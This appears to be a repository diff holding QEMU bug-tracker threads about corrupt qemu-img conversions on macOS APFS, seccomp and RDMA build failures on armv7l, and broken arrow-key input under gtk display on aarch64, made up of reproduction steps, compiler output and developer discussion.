2018 at 10:46 AM, Christian Ehrhardt < +<email address hidden>> wrote: + +> Can this be done with like a 1M example file that you could copy off in +> all stages. +> +> Provide the commands you use like +> 1. create +> 2. do ?? +> 3. convert +> +> Then for Mac and Linux you'd have M1/M2/M3 L1/L2/L3 files that can all +> be attached here to be evaluated for what might be broken. +> +> IMHO In the current state there is neither enough data for good +> debugging, not enough steps to reproduce what exactly you faced. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1776920 +> +> Title: +> qemu-img convert on Mac OSX creates corrupt images +> +> Status in QEMU: +> New +> +> Bug description: +> An image created by qemu-img create, then modified by another program +> is converted to bad/corrupt image when using convert sub command on +> Mac OSX. The same convert works on Linux. The version of qemu-img is +> 2.12. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1776920/+subscriptions +> + + +> +> I will provide all necessary info. Unfortunately the smallest image I can +> provide is around 10M. +> +> What is M1/M2/M3 L1/L2/L3 file? +> + +Just a suggestion how you could name the files +Linux-at-step-1 would be L1 and similar. + + +Are you converting to a destination on APFS? If yes, do you have the ability to easily reproduce this by converting to a non-APFS destination and seeing if that breaks too? + +Thanks, +--js + +I believe I have distilled entire process to few repeatable steps that can be fully reproduced on my Mac. The binary source files - - boot.bin and lzloader.elf - were created on my Linux VM running in VirtualBox on same Mac but I do not think it matters as the execution completely happens on Mac. + +The steps executed on my mac: +1. dd if=boot.bin of=image.img > /dev/null 2>&1 +2. dd if=lzloader.elf of=image.img conv=notrunc seek=128 > /dev/null 2>&1 +3. qemu-img convert image.img -O qcow2 image.qemu +4. qemu-img convert image.qemu -O qcow2 image2.qemu + +The end result: +ll image* +-rw-r--r-- 1 *** *** 6684672 Jun 14 17:17 image.img +-rw-r--r-- 1 *** *** 7012352 Jun 14 17:40 image.qemu +-rw-r--r-- 1 *** *** 196616 Jun 14 17:40 image2.qemu + +The result of regular compare: +qemu-img compare image.qemu image2.qemu +Images are identical. + +The result of strict compare: +qemu-img compare -s image.qemu image2.qemu +Strict mode: Offset 0 block status mismatch! + +Images are clearly different. + +The same 4 steps executed on my Linux VM behave correctly - image.qemu is TRULY identical with image2.qemu. + +Qemu-img on my Mac: +qemu-img --version +qemu-img version 2.12.0 +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +Details about Mac and OSX version: +Model Name: MacBook Pro + Model Identifier: MacBookPro13,3 + Processor Name: Intel Core i7 + Processor Speed: 2.7 GHz + Number of Processors: 1 + Total Number of Cores: 4 + L2 Cache (per Core): 256 KB + L3 Cache: 8 MB + Memory: 16 GB + +Mac filesystem: +Mount Point: / + File System: APFS + Writable: Yes + Ignore Ownership: No + BSD Name: disk1s1 + Physical Drive: + Device Name: APPLE SSD SM0512L + Media Name: AppleAPFSMedia + Medium Type: SSD + Protocol: PCI-Express + Internal: Yes + Partition Map Type: Unknown + +I am also attaching both source files and images for examination. + +Source file 1 + +Source file 2 + +Raw image created by dd in steps 1 and 2. + +Original qcow2 image converted from raw image in step 3. + +The corrupt qcow2 image created by converting image.qemu in step 4. + +Also if I use the same image.qemu file and convert to vmdk format I get even smaller file which for sure is wrong as well: + +qemu-img convert image.qemu -O vmdk image2.vbox + +ll image* +-rw-r--r-- 1 *** *** 6684672 Jun 14 17:17 image.img +-rw-r--r-- 1 *** *** 7012352 Jun 14 17:40 image.qemu +-rw-r--r-- 1 *** *** 196616 Jun 14 17:40 image2.qemu +-rw-r--r-- 1 *** *** 65536 Jun 14 18:00 image2.vbox + +Have I provided all necessary data and other details? + +I haven't had the time to look just yet. + +If there's a developer out there with a Mac has the bandwidth to take a look at this I'd be grateful. (I don't have access to one presently.) + +I see that the target filesystem is APFS however -- I think we might have a bug in our APFS support. Do you have the ability to try it on your Mac but on a non-APFS destination? + +It looks like the image is pretty small (~6MB?) so maybe you can try with a non-APFS formatted thumb drive? + +My hunch is that: +- APFS source to FAT32 destination might work correctly. +- FAT32 source to FAT32 destination will definitely work correctly. + +I have done more tests based on your suggestion and I think it is the opposite. The problem happens is the source is APFS. + +Following failed: +APFS -> ExFAT +APFS -> Fat32 + +Following worked: +ExFAT -> APFS +FAT32 -> APFS + +So for now my workaround is to use USB stick formatted with FAT32 or ExFAT, copy the source images there and then convert to somewhere or my main drive with APFS. + +My regards, +Waldek + +Sent from my iPhone + +> On Jun 20, 2018, at 11:54, John Snow <email address hidden> wrote: +> +> I haven't had the time to look just yet. +> +> If there's a developer out there with a Mac has the bandwidth to take a +> look at this I'd be grateful. (I don't have access to one presently.) +> +> I see that the target filesystem is APFS however -- I think we might +> have a bug in our APFS support. Do you have the ability to try it on +> your Mac but on a non-APFS destination? +> +> It looks like the image is pretty small (~6MB?) so maybe you can try +> with a non-APFS formatted thumb drive? +> +> My hunch is that: +> - APFS source to FAT32 destination might work correctly. +> - FAT32 source to FAT32 destination will definitely work correctly. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1776920 +> +> Title: +> qemu-img convert on Mac OSX creates corrupt images +> +> Status in QEMU: +> New +> +> Bug description: +> An image created by qemu-img create, then modified by another program +> is converted to bad/corrupt image when using convert sub command on +> Mac OSX. The same convert works on Linux. The version of qemu-img is +> 2.12. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1776920/+subscriptions + + +Great, thanks for the additional info! + +It sounds like maybe something to do with our sparse detection on APFS is broken. Maybe lseek calls are failing? This is a bad problem because it means that any read from an APFS source could break similarly. + +I'm still a bit tied down with other work at the moment, but I will try to address this prior to the 3.0 release if nobody else gets to it first. + +I am not familiar with QEMU source code but I might have some cycles to look into it. Where would I look - https://github.com/qemu/qemu/blob/master/qemu-img.c? Or somewhere else? Any suggestions would be appreciated. + +My hunch is that we're handling zero regions incorrectly and we might be skipping data regions we ought to be copying. + +...I'm looking at the `image2.qemu` file you've uploaded and it's empty! we didn't copy *anything* from your source file. + +Try converting with '-S 0` to disable sparse protection and see if that might help. + + '-S' indicates the consecutive number of bytes (defaults to 4k) that must + contain only zeros for qemu-img to create a sparse image during + conversion. If the number of bytes is 0, the source will not be scanned for + unallocated or zero sectors, and the destination image will always be + fully allocated + +If that helps, I'd take a look at img_convert in qemu-img.c ... + +convert_iteration_sectors looks relevant, it appears to help us know which sectors to copy when called by convert_co_do_copy. + +Tracing around "convert_co_read" in the same function might also help us to know which portions of the image we're even deciding to read; and we could probably track backwards from there to figure out which condition(s) are disqualifying us if we're deciding not to copy data. + +My current hunch is that bdrv_block_status[_above] is returning something wrong when backed by APFS. + +Bingo! Adding '-S 0' makes convert work. But it is not perfect as the end result is fully allocated image. + +So with qcow2 like this: + +image: mysql-example.qemu +file format: qcow2 +virtual size: 10G (10737418240 bytes) +disk size: 50M +cluster_size: 65536 +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false + +and do this: + +qemu-img convert mysql-example.qemu -S 0 -O vmdk mysql-example.vbox + +I get 10G vmdk file: +10738794496 Jul 6 18:27 mysql-example.vbox + +I marked https://bugs.launchpad.net/qemu/+bug/1738840 as a duplicate of this bug, even though that bug was older, this bug has a slightly more active thread. + +I'm still in need of either an APFS capable machine that I can reproduce on, or another mac dev willing to help a bit, though. + + + +I have done some experiments and find out that +the behavior of lseek with whence set to SEEK_DATA is different from the behavior of Linux's lseek. + +If the supplied offset is in the middle of a data region, it returns the start of the next data region. There may be many data regions in a big file even though it has no hole. + +return value of lseek with whence set to SEEK_DATA: + +|--(offset)--Data----|(return value)----Data----| +|--(offset)--Data----|----Hole----|(return value)----Data----| + + +On 09/07/2018 01:04 PM, Yan-Jie Wang wrote: +> I have done some experiments and find out that +> the behavior of lseek with whence set to SEEK_DATA is different from the behavior of Linux's lseek. +> +> If the supplied offset is in the middle of a data region, it returns the +> start of the next data region. There may be many data regions in a big +> file even though it has no hole. +> +> return value of lseek with whence set to SEEK_DATA: +> +> |--(offset)--Data----|(return value)----Data----| +> |--(offset)--Data----|----Hole----|(return value)----Data----| +> +> +> ** Patch added: "macOS-lseek.patch" +> https://bugs.launchpad.net/qemu/+bug/1776920/+attachment/5186138/+files/macOS-lseek.patch + +While a developer can chase a URL, our CI tools can't. Can you please +also send that patch directly to <email address hidden>, so that it gets +the same level of review as other patches? + +But I am very reluctant to take your patch. MacOS is flat-out buggy and +in violation of the specification of lseek(SEEK_DATA), so making all +applications work around their bug is not going to scale as well as +having them fix their bug in the first place. + +Here's the proposed POSIX specification for what lseek(SEEK_DATA) is +supposed to do: +http://austingroupbugs.net/view.php?id=415#c862 + +That text has been present for 7 years now - so anyone implementing +SEEK_DATA should really be paying attention to interoperability with +that text. + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3266 +Virtualization: qemu.org | libvirt.org + + +Hi, + +I recently ran into problems and after a long time trying to find out the cause landed here, I got in trouble using a CentOs Cloud image: +https://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud-1905.qcow2.xz +which extracts to a .qcow2 image with sha256 of: +b376afdc0150601f15e53516327d9832216e01a300fecfc302066e36e2ac2b39 + +image: CentOS-7-x86_64-GenericCloud-1905.qcow2 +file format: qcow2 +virtual size: 8.0G (8589934592 bytes) +disk size: 898M +cluster_size: 65536 +Format specific information: + compat: 0.10 + refcount bits: 16 + +I use this command on a Mac, OS X 10.13.6 (17G7024), qemu installed via brew: +qemu-img convert -f qcow2 -O vmdk -o adapter_type=lsilogic,subformat=streamOptimized,compat6=on -p CentOS-7-x86_64-GenericCloud-1905.qcow2 -S 0 result.vmdk + + +941359104 21 Jul 17:11 CentOS-7-x86_64-GenericCloud-1905.qcow2 - original image + +Converting this gives these results: +214551040 23 Jul 20:45 conv_mac_v3_1_mit_s_0.vmdk - doesnt work, made on Mac (APFS) with -S 0 +402303488 23 Jul 20:50 conv_mac_v3_1_auf_exfat.vmdk - works and is bootable, made on same Mac, on external drive, exFAT formatted. +149743104 23 Jul 21:21 conv_mac_v4_0.vmdk - doesnt work, made on Mac (APFS) without -S 0 +214551040 23 Jul 21:20 conv_mac_v4_0mit_S0.vmdk - doesnt work, made on Mac (APFS) with -S 0 + +converting on non-Mac also works fine: +402303488 23 Jul 18:48 conv_centos7_v1-5-3.vmdk - works and is bootable, made on Centos, qemu-img version 1.5.3 + +So it seems that '-S 0' didn't fix it for me, or is that only in the development branch? + +Best Regards + + + + +Hi, there isn't really a development branch; if '-S 0' didn't help alleviate the problem there may be other problems at hand, or the APFS implementation of SEEK_DATA is causing us even more problems in new versions. + +You could try Yan-Jie Wang's patch that was posted in #20, but until it's posted to the mailing list with a Signed-off-by tag, we can't include it ourselves. + +However, it would still be nice to know if it fixes your problem. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + +Hey there! I tested @wkozaczuk's suggested minimal steps and THEY WORKED FOR ME!! + +The steps executed on my mac: +1. dd if=boot.bin of=image.img > /dev/null 2>&1 +2. dd if=lzloader.elf of=image.img conv=notrunc seek=128 > /dev/null 2>&1 +3. qemu-img convert image.img -O qcow2 image.qemu +4. qemu-img convert image.qemu -O qcow2 image2.qemu + +The end result: +-rw-r--r-- 1 *** *** 6684672 Jun 22 14:19 image.img +-rw-r--r-- 1 *** *** 7012352 Jun 22 14:20 image.qemu +-rw-r--r-- 1 *** *** 7012352 Jun 22 14:20 image2.qemu +-rw-r--r-- 1 *** *** 6750208 Jun 22 14:22 image2.vbox + +The result of regular compare: +qemu-img compare image.qemu image2.qemu +Images are identical. + +The result of strict compare: +qemu-img compare -s image.qemu image2.qemu +Images are identical. + +Qemu-img on my Mac: +qemu-img --version +qemu-img version 6.0.0 +Copyright (c) 2003-2021 Fabrice Bellard and the QEMU Project developers + +Hardware Overview: + + Model Name: MacBook Pro + Model Identifier: MacBookPro16,1 + Processor Name: 8-Core Intel Core i9 + Processor Speed: 2,4 GHz + Number of Processors: 1 + Total Number of Cores: 8 + L2 Cache (per Core): 256 KB + L3 Cache: 16 MB + Hyper-Threading Technology: Enabled + Memory: 64 GB + Activation Lock Status: Enabled + +Storage: + + Mount Point: / + File System: APFS + Writable: No + Ignore Ownership: No + BSD Name: disk1s1 + Physical Drive: + Device Name: APPLE SSD AP1024N + Media Name: AppleAPFSMedia + Medium Type: SSD + Protocol: PCI-Express + Internal: Yes + Partition Map Type: Unknown + S.M.A.R.T. Status: Verified + +System Software Overview: + + System Version: macOS 10.15.7 (19H1217) + Kernel Version: Darwin 19.6.0 + Boot Volume: Macintosh HD + Boot Mode: Normal + Secure Virtual Memory: Enabled + System Integrity Protection: Enabled + + diff --git a/results/classifier/deepseek-1/output/systems./1363641 b/results/classifier/deepseek-1/output/systems./1363641 new file mode 100644 index 00000000..2472ff4c --- /dev/null +++ b/results/classifier/deepseek-1/output/systems./1363641 @@ -0,0 +1,297 @@ + +Build of v2.1.0 fails on armv7l due to undeclared __NR_select + +After `make clean` and `git clean -x -f -d` `git checkout v2.1.0 && configure --prefix=/home/user/prefix-qemu-2.1.0 && make` fails due to missing declarations + + CC qemu-seccomp.o + qemu-seccomp.c:28:1: error: '__NR_select' undeclared here (not in a function) + qemu-seccomp.c:36:1: error: '__NR_mmap' undeclared here (not in a function) + qemu-seccomp.c:57:1: error: '__NR_getrlimit' undeclared here (not in a function) + qemu-seccomp.c:96:1: error: '__NR_time' undeclared here (not in a function) + GEN qmp-marshal.c + qemu-seccomp.c:186:1: error: '__NR_alarm' undeclared here (not in a function) + make: *** [qemu-seccomp.o] Error 1 + +Same errors for master 8b3030114a449e66c68450acaac4b66f26d91416. `configure`should not succeed for a failing build. `config.log` for v2.1.0 and 8b303011... attached. I'm building on a debian 7.6 chroot on Synology DSM 5.0. `uname -a` says `Linux diskstatation 3.2.40 #4493 SMP Thu Aug 21 21:43:02 CST 2014 armv7l GNU/Linux`. + + + + + +On 31 August 2014 13:06, Karl-Philipp Richter <email address hidden> wrote:. +> `configure`should not succeed for a failing build. + +Your compile failures are definitely bugs, but it isn't expected that +configure will detect all possible kinds of build failure +in advance. + +For what it's worth I always build on ARM as part of my +checks before merging things to master, so this issue isn't +"all armv7l builds are broken" but something more specific +(probably some optional bits of the build which my build +platform doesn't have the dependencies for.) + +> qemu-seccomp.c:186:1: error: '__NR_alarm' undeclared here (not in a function) +> make: *** [qemu-seccomp.o] Error 1 + +Ccing Eduardo for the seccomp compile issues. + +> + After installing some of the missing header files (-> configure should +> + fail at the right point with a good error message), i.e. `apt-get +> + install liblzo2-dev libbsd-dev syslinux-common libhwloc-dev librdmacm- +> + dev libsnappy-dev libibverbs-dev valgrind linux-headers-3.2.0-4-common` +> + I'm getting +> + +> + CC migration-rdma.o +> + migration-rdma.c: In function 'ram_chunk_start': +> + migration-rdma.c:523:12: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] + +This probably hasn't been tested on a 32 bit build system :-( + +I suggest you work around these bugs by passing configure +--disable-rdma --disable-seccomp while we fix things... + +thanks +-- PMM + + +(cc'ing Michael Hines who owns and knows the RDMA code) + +* Karl-Philipp Richter (<email address hidden>) wrote: +> ** Description changed: +> +> After `make clean` and `git clean -x -f -d` `git checkout v2.1.0 && +> configure --prefix=/home/user/prefix-qemu-2.1.0 && make` fails due to +> missing declarations +> +> CC qemu-seccomp.o +> qemu-seccomp.c:28:1: error: '__NR_select' undeclared here (not in a function) +> qemu-seccomp.c:36:1: error: '__NR_mmap' undeclared here (not in a function) +> qemu-seccomp.c:57:1: error: '__NR_getrlimit' undeclared here (not in a function) +> qemu-seccomp.c:96:1: error: '__NR_time' undeclared here (not in a function) +> GEN qmp-marshal.c +> qemu-seccomp.c:186:1: error: '__NR_alarm' undeclared here (not in a function) +> make: *** [qemu-seccomp.o] Error 1 +> +> Same errors for master 8b3030114a449e66c68450acaac4b66f26d91416. +> `configure`should not succeed for a failing build. `config.log` for +> v2.1.0 and 8b303011... attached. The content is mostly compiler output +> which I think is unusual for `config.log`, but see for yourself. +> +> I'm building on a debian 7.6 chroot on Synology DSM 5.0. `uname -a` says +> `Linux diskstatation 3.2.40 #4493 SMP Thu Aug 21 21:43:02 CST 2014 +> armv7l GNU/Linux`. +> + +> + After installing some of the missing header files (-> configure should +> + fail at the right point with a good error message), i.e. `apt-get +> + install liblzo2-dev libbsd-dev syslinux-common libhwloc-dev librdmacm- +> + dev libsnappy-dev libibverbs-dev valgrind linux-headers-3.2.0-4-common` +> + I'm getting +> + +> + CC migration-rdma.o +> + migration-rdma.c: In function 'ram_chunk_start': +> + migration-rdma.c:523:12: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] + +is that: + return (uint8_t *) (((uintptr_t) rdma_ram_block->local_host_addr) + + (i << RDMA_REG_CHUNK_SHIFT)); + +244: uint8_t *local_host_addr; /* local virtual address */ + +in which case I think the problem is the 'i' which is a uint64_t. + +> + migration-rdma.c: In function '__qemu_rdma_add_block': +> + migration-rdma.c:556:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:557:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] + +> + migration-rdma.c: In function '__qemu_rdma_delete_block': +> + migration-rdma.c:664:45: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:699:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c: In function 'qemu_rdma_search_ram_block': +> + migration-rdma.c:1113:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c: In function 'qemu_rdma_register_and_get_keys': +> + migration-rdma.c:1176:50: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c:1177:29: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c:1177:51: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c:1178:29: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c: In function 'qemu_rdma_post_send_control': +> + migration-rdma.c:1562:36: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c: In function 'qemu_rdma_post_recv_control': +> + migration-rdma.c:1616:37: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c: In function 'qemu_rdma_write_one': +> + migration-rdma.c:1864:16: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c:1868:53: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:1922:52: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:1923:50: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:1977:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:1998:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c:2010:58: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> + migration-rdma.c: In function 'qemu_rdma_registration_handle': +> + migration-rdma.c:3027:21: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + migration-rdma.c:3092:41: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> + cc1: all warnings being treated as errors +> + make: *** [migration-rdma.o] Error 1 + +There's lots of stuff there; I think it's one for Michael because it involves understanding the structures +and which ones get passed over the wire etc. +(The quick fix would probably to guard the RDMA configure with a test for 32bit pointers) + +Dave + +> + +> + i.e. earlier errors than before. +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1363641 +> +> Title: +> Build of v2.1.0 fails on armv7l due to undeclared __NR_select +> +> Status in QEMU: +> New +> +> Bug description: +> After `make clean` and `git clean -x -f -d` `git checkout v2.1.0 && +> configure --prefix=/home/user/prefix-qemu-2.1.0 && make` fails due to +> missing declarations +> +> CC qemu-seccomp.o +> qemu-seccomp.c:28:1: error: '__NR_select' undeclared here (not in a function) +> qemu-seccomp.c:36:1: error: '__NR_mmap' undeclared here (not in a function) +> qemu-seccomp.c:57:1: error: '__NR_getrlimit' undeclared here (not in a function) +> qemu-seccomp.c:96:1: error: '__NR_time' undeclared here (not in a function) +> GEN qmp-marshal.c +> qemu-seccomp.c:186:1: error: '__NR_alarm' undeclared here (not in a function) +> make: *** [qemu-seccomp.o] Error 1 +> +> Same errors for master 8b3030114a449e66c68450acaac4b66f26d91416. +> `configure`should not succeed for a failing build. `config.log` for +> v2.1.0 and 8b303011... attached. The content is mostly compiler output +> which I think is unusual for `config.log`, but see for yourself. +> +> I'm building on a debian 7.6 chroot on Synology DSM 5.0. `uname -a` +> says `Linux diskstatation 3.2.40 #4493 SMP Thu Aug 21 21:43:02 CST +> 2014 armv7l GNU/Linux`. +> +> After installing some of the missing header files (-> configure should +> fail at the right point with a good error message), i.e. `apt-get +> install liblzo2-dev libbsd-dev syslinux-common libhwloc-dev librdmacm- +> dev libsnappy-dev libibverbs-dev valgrind linux- +> headers-3.2.0-4-common` I'm getting +> +> CC migration-rdma.o +> migration-rdma.c: In function 'ram_chunk_start': +> migration-rdma.c:523:12: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c: In function '__qemu_rdma_add_block': +> migration-rdma.c:556:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:557:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c: In function '__qemu_rdma_delete_block': +> migration-rdma.c:664:45: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:699:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c: In function 'qemu_rdma_search_ram_block': +> migration-rdma.c:1113:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c: In function 'qemu_rdma_register_and_get_keys': +> migration-rdma.c:1176:50: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c:1177:29: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c:1177:51: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c:1178:29: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c: In function 'qemu_rdma_post_send_control': +> migration-rdma.c:1562:36: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c: In function 'qemu_rdma_post_recv_control': +> migration-rdma.c:1616:37: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c: In function 'qemu_rdma_write_one': +> migration-rdma.c:1864:16: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c:1868:53: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:1922:52: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:1923:50: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:1977:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:1998:49: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c:2010:58: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] +> migration-rdma.c: In function 'qemu_rdma_registration_handle': +> migration-rdma.c:3027:21: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> migration-rdma.c:3092:41: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] +> cc1: all warnings being treated as errors +> make: *** [migration-rdma.o] Error 1 +> +> i.e. earlier errors than before. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1363641/+subscriptions +> +-- +Dr. David Alan Gilbert / <email address hidden> / Manchester, UK + + +On 23 September 2014 09:25, Michael R. Hines <email address hidden> wrote: + +> I could use some advice from the community on this: In particular, I have +> *zero* 32-bit machine to +> fix this on........ now, I could easily create a 32-bit machine, but I +> simply don't have any RDMA hardware +> for which to run the 32-bit virtual machine against. +> +> So, what are my options? Can I just submit a patch that completely disables +> RDMA in 32-bit environments? + +That's probably better than failing to compile. You might want to +at least shake out the compile errors so you can figure out if +your protocol itself has word-size issues or if it's just the +implementation that needs fixing. + +I assume there's nothing inherent to RDMA that mandates 64 bit... + +-- PMM + + +The fix for the syscalls problem is already upstream at libseccomp [0] . The maintainer said he has no plans yet to make a new release, though. + +[0] -- http://sourceforge.net/p/libseccomp/mailman/libseccomp-discuss/thread/1661272.9kVko5ssCn%40sifl/#msg32956301 + +On 22 October 2014 08:31, Eduardo Otubo <email address hidden> wrote: +> The fix for the syscalls problem is already upstream at libseccomp [0] . +> The maintainer said he has no plans yet to make a new release, though. + +Then you're going to have to put a fix of some kind locally +into QEMU. I don't want to release 2.2 with basic compile +errors like this on some hosts. If seccomp only supports +specific architectures you should probably enforce this in +configure. + +I couldn't identify from your mailing list link what upstream +is proposing to fix this bug either -- could you point me at +the specific changes that they have in mind? + +thanks +-- PMM + + +This commit temporarily fixes this problem. + +http://git.qemu.org/?p=qemu.git;a=commit;h=4cc47f8b3cc4f32586ba2f7fce1dc267da774a69 + +As soon as libseccomp makes a new release I'll update the dependency and hopefully it will be fixed with proper library support. + +Hi Eduardo - your above commit doesn't update the version in the error message (a few lines below, still says >= 2.1.0). +Sorry if this isn't the right place to comment on your patch, but it would be nice to fix (just spent a while trying to figure out why having 2.1.0 installed wasn't satisfying the configure check). + +Also, I think the way the if statement is constructed it will not properly apply the 2.1.1 version check for i386 (only for x86_64). + +Hello Ben, you're completely right on what regards the version on the error message. I'll fix it as soon as possible. Sorry for the trouble on that :( (and sorry for the late reply I was on vacations) + +Regarding the if statement, as Peter said here -- http://lists.gnu.org/archive/html/qemu-devel/2014-11/msg00960.html -- shell evaluates the OR before the AND, so that's Ok. + +Thanks. + +Hello Ben, I just submitted a pull request to fix the issue you reported: + +http://lists.gnu.org/archive/html/qemu-devel/2014-12/msg03134.html + +Thanks again. + +Libseccomp 2.2.0 is now released, can you please try the attached patch and check if it works for you? Regards. + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=8e27fc200457e3f2473d00 + diff --git a/results/classifier/deepseek-1/output/systems./1907952 b/results/classifier/deepseek-1/output/systems./1907952 new file mode 100644 index 00000000..d8580a2e --- /dev/null +++ b/results/classifier/deepseek-1/output/systems./1907952 @@ -0,0 +1,183 @@ + +qemu-system-aarch64: with "-display gtk" arrow keys are received as just ^[ on ttyAMA0 + +I originally observed this on Debian packaged qemu 5.2 at +https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=976808 + +Today I checked out the latest git source at +Sun, 13 Dec 2020 19:21:09 +0900 +and configured the source as follows: + +./configure --prefix=/usr --sysconfdir=/etc --libexecdir=/usr/lib/qemu \ + --localstatedir=/var --disable-blobs --disable-strip --localstatedir=/var \ + --libdir=/usr/lib/aarch64-linux-gnu \ + --firmwarepath=/usr/share/qemu:/usr/share/seabios:/usr/lib/ipxe/qemu \ + --target-list=aarch64-softmmu,arm-softmmu --disable-werror \ + --disable-user --enable-gtk --enable-vnc +then executed "make" on an ARM64 (not an x86_64) host, +running the latest Debian testing. + +I did the following commands on an arm64 host with the Debian Installer Alpha 3 at +https://cdimage.debian.org/cdimage/bullseye_di_alpha3/arm64/iso-cd/debian-bullseye-DI-alpha3-arm64-netinst.iso + +#!/bin/sh + +ARCH=arm64 +IMAGE=`pwd`/qemu-disk-${ARCH}.qcow2 +CDROM=`pwd`/debian-bullseye-DI-alpha3-${ARCH}-netinst.iso +rm -f $IMAGE +qemu-img create -f qcow2 -o compat=1.1 -o lazy_refcounts=on -o preallocation=off $IMAGE 20G +cd /var/tmp +cp /usr/share/AAVMF/AAVMF_VARS.fd . +$HOME/qemu-git/qemu/build/qemu-system-aarch64 \ + -display gtk -enable-kvm -machine virt -cpu host -m 3072 -smp 2\ + -net nic,model=virtio -net user -object rng-random,filename=/dev/urandom,id=rng0 \ + -device virtio-rng-pci,rng=rng0,id=rng-device0 \ + -drive if=virtio,file=${IMAGE},index=0,format=qcow2,discard=unmap,detect-zeroes=unmap,media=disk \ + -drive if=virtio,file=${CDROM},index=1,format=raw,readonly=on,media=cdrom \ + -drive if=pflash,format=raw,unit=0,file=/usr/share/AAVMF/AAVMF_CODE.fd,readonly=on \ + -drive if=pflash,format=raw,unit=1,file=`pwd`/AAVMF_VARS.fd + +Then 4 arrow keys on the physical keyboard are received as just "^[". + +This symptom was not observed on qemu-system-x86_64. +This symptom was not observed with virt-manager on my arm64 host, neither. +This seems unique to -display gtk of qemu-system-aarch64. + +An easier way to reproduce the symptom was provided by Alper Nebi Yasak at +https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=976808#88 + +qemu-system-aarch64 \ + -display gtk -enable-kvm -machine virt -cpu host -m 1G -smp 2 \ + -kernel /boot/vmlinuz -initrd /boot/initrd.img \ + -append "break console=ttyAMA0" + +Then, run cat on the initramfs shell and see arrow keys result in ^[ . +For x86_64, it's console=ttyS0 and ^[[A etc. + + +This should be fixed already in head-of-git, by commit 8eb13bbbac08aa077e ; this will be in QEMU 6.0. + + +This bug was fixed in the package qemu - 1:6.0+dfsg-1~ubuntu3 + +--------------- +qemu (1:6.0+dfsg-1~ubuntu3) impish; urgency=medium + + * d/p/u/lp-1935617-target-ppc-Fix-load-endianness-for-lxvwsx-lxvdsx.patch: + fix TCG emulation for ppc64 (LP: 